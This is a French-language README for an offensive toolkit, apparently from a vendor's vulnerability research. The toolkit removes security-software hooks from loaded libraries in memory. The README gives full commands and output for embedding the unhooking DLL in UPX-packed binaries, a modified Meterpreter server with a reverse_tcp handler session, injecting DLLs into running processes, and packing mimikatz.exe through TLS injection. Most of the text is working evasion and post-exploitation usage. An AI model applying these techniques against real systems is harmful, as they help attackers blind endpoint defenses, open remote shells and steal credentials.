
DLL réflective qui analyse la mémoire des processus et retire les hooks des bibliothèques chargées afin d'échapper aux logiciels de sécurité, avec intégration UPX, injecteur TLS et Meterpreter.
DLLRefresher.exe est un harnais de test autonome permettant d'analyser l'espace mémoire du processus et de retirer les hooks des bibliothèques actuellement chargées.
Les binaires UPX empaquetés ont été modifiés pour prendre en charge un paramètre supplémentaire (-X <path/to/target.dll>) à intégrer dans le binaire empaqueté. Le binaire final empaqueté par UPX décompressera l'exécutable cible en mémoire et appellera la DLL intégrée avant de sauter vers le point d'entrée d'origine de l'exécutable.
Le code source UPX modifié est disponible à l'adresse @ https://github.com/CylanceVulnResearch/upx/tree/reflective_dll
Utilisation :
upx -o <output filename> -X <path/to/embed.dll> <target executable>
Exemple :
upx -o packed_binary.exe -X ReflectiveDLL.x86.dll target_binary.exe
Le metsrv.dll (ainsi que les plugins associés dans le dossier meterpreter) est un serveur meterpreter modifié qui retirera les hooks des bibliothèques actuellement chargées avant d'exécuter l'initialisation de meterpreter.
Utilisation :
Copiez toutes les DLL du dossier meterpreter dans metasploit-framework/data/meterpreter/ et obtenez une exécution de meterpreter sur la cible comme d'habitude.
Exemple :
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > run
[*] Started reverse TCP handler on 10.10.10.171:4444
[*] Starting the payload handler...
WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/metsrv.x64.dll is being used
[*] Sending stage (1195055 bytes) to 10.10.10.186
[*] Meterpreter session 1 opened (10.10.10.171:4444 -> 10.10.10.186:58657) at 2016-10-03 10:07:39 -0400
WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/ext_server_stdapi.x64.dll is being used
meterpreter > WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/ext_server_priv.x64.dll is being used
Inject.exe est un utilitaire d'aide permettant d'injecter une DLL donnée dans n'importe quel processus.
Utilisation :
Inject.exe <pid> <filename>
Exemple :
Inject.exe 2964 ReflectiveDLLRefresher.x86.dll
[+] Injected the 'ReflectiveDLLRefresher.x86.dll' DLL into process 2964.
La DLL peut être injectée via une session meterpreter à l'aide du module post/windows/manage/reflective_dll_inject.
Utilisation :
msf > use post/windows/manage/reflective_dll_inject
msf post(reflective_dll_inject) > set PATH /path/to/ReflectiveDLLRefresher.x86.dll
msf post(reflective_dll_inject) > set SESSION <session-id>
msf post(reflective_dll_inject) > set PID <pid of meterpreter session>
msf post(reflective_dll_inject) > run
Exemple :
msf > use post/windows/manage/reflective_dll_inject
msf post(reflective_dll_inject) > set PATH /path/to/ReflectiveDLLRefresher.x86.dll
msf post(reflective_dll_inject) > set SESSION 1
msf post(reflective_dll_inject) > set PID 4068
msf post(reflective_dll_inject) > run
[*] Running module against WIN10DEV
[*] Injecting /root/ReflectiveDLLRefresher.x86.dll into 4068 ...
[*] DLL injected. Executing ReflectiveLoader ...
[+] DLL injected and invoked.
[*] Post module execution completed
tlsInjector.py est une version modifiée du script de Borja Merino pour prendre en charge l'injection de DLL réflexive. Il prend une DLL réflexive et l'injecte dans la section TLS d'un exécutable 32 bits (le 64 bits n'est pas pris en charge).
Utilisation :
python tlsInjector.py -l <path/to/embed.dll> -f <target executable> -o <output filename> -t
Exemple :
python tlsInjector.py -l ReflectiveDLLRefresher.x86.dll -f mimikatz.exe -o mimikatz_tls.exe -t